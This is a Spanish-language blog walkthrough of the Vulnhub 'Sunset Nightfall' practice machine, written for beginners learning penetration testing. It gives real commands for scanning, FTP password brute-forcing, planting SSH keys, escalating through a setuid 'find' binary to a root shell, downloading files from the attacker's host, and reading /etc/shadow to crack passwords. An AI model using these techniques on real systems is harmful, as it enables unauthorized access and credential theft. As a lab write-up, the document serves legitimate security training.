Write-up: Vulnhub Sunset Nightfall

Venimos hoy con un write-up de esta maquina boorn2root, muy interesante para los principiantes. Así que VUAMOOS

Lo primero averiguar la IP del equipo para ello podemos hacer uso del netdiscovery que permite detectar de manera activa y pasiva hosts en funcionamiento enviando solicitudes ARP

 netdiscover -r 192.168.0.0/24 -p #Nos deberia valer scaneo pasivo

Una vez conocida la ip del equipo realizaremos un par de scanners con el nmap , el primero, para conocer todos los puertos de la máquina

nmap -p- 192.168.0.20
Not shown: 65529 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql

Y un segundo scan más comprensivo sobre los puertos detectados

nmap -sS -sC -sV -p 21,22,80,139,445,3306 192.168.0.20

De este último scan ya hemos obtenido información útil de los servicios en ejecución en esos puertos (lo que se conoce como banner grabbing)

21/tcp   open  ftp         pyftpdlib 1.5.5
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10 (protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))

139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1

Sabiendo las versiones de los servicios es interesante mirar si existe algún exploit conocido para alguna de esas versiones, para ello podemos hacer uso de searchsploit

HTTP/Port 80

Del scan sabemos que el puerto 80 apunta a la página por defecto de apache

 80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works

Siempre que consultamos un servidor web debemos mirar el código fuente en busca de fugas de información, consultar el archivo robots.txt, en caso de que exista y probar la existencia de directorios mediante el uso de crawlers o ataques de diccionario

Ejemplo de busqueda de directorios por fuerza bruta:
dirb http://192.168.0.20 -w

A primera vista no parece que haya nada en este puerto

SMB/Port 139-445

Para ello usaremos la herramienta enum4Linux para enumerar datos de host con samba tanto windows como unix

enum4linux 

De esta herramienta conseguimos enumerar los usuarios del sistema

S-1-22-1-1000 Unix User\nightfall (Local User)
S-1-22-1-1001 Unix User\matt (Local User)

FTP/Port 21

Lo primero que suelo probar al acceder a un FTP es si permite loguearse como anonymous, en caso de esta máquina vemos que no lo permite.

Como conocemos dos usuarios del sistema probaremos a realizar un ataque de fuerza bruta a FTP, para ello hay varias opciones en mi caso lo realizo desde un módulo de metasploit

[+] 192.168.0.20:21 - Login Successful: matt:cheese

Accedemos al FTP con esas credenciales, y vemos que el usuario está enjaulado en su directorio home, impidiendo que se mueva por el árbol de directorios, pero si nos fijamos somos los propietarios de la carpeta, por lo que tenemos permiso de escritura en ella

Así que aprovecharemos para crear la carpeta .ssh, en la que generaremos un par de claves y meteremos en esa carpeta

mv id_rsa.pub authorized_keys
put authorized_keys

Ahora ya podremos loguearnos por ssh usando el par de claves generadas.

Post-explotación: Expandiendo el acceso

Una vez accedido, nos disponemos a buscar los ficheros con setuid.

EL bit setuid es asignable a ficheros ejecutables, y permite que cuando un usuario ejecute dicho fichero, el proceso adquiera los permisos del propietario del fichero ejecutado

find / -perm -u=s -type f 2>/dev/null
/scripts/find

Tras realizar la busqueda encontramos un script «find» con el bit de setuid, el cual usaremos para obtener el contenido del user.txt

./find -exec whoami \;
./find -exec cat /home/nightfall/user.txt \;
97fb7140ca325ed96f67be3c9e30083d

Ahora utilizaremos la shell que acabamos de obtener mediante find ,para realizar el mismo truco de antes con las credenciales ssh

./find . -exec /bin/sh -p \; -quit

Llegados a este punto, creamos un servidor HTTP para poder descargar en la máquina víctima el par de claves generados.

python -m SimpleHTTPServer
wget http://192.168.0.14/authorized_keys

Y ya podemos entrar como el usuario nightfall a traves de ssh.

Obteniendo el root

Con el comando sudo -l podemos ver que esta en el grupo sudoers y que tenemos permitido ejecutar el comando cat sin tener que poner el password

User nightfall may run the following commands on nightfall:
(root) NOPASSWD: /usr/bin/cat

Como podemos ver podemos ejecutar cat con permisos de root, realizamos un cat al archivo /etc/passwd y /etc/shadow, copiamos su contenido y passamos a crackear la password

Y listo 🙂

Deja un comentario

Esta web funciona gracias a WordPress.com.

Subir ↑

Diseña un sitio como este con WordPress.com
Comenzar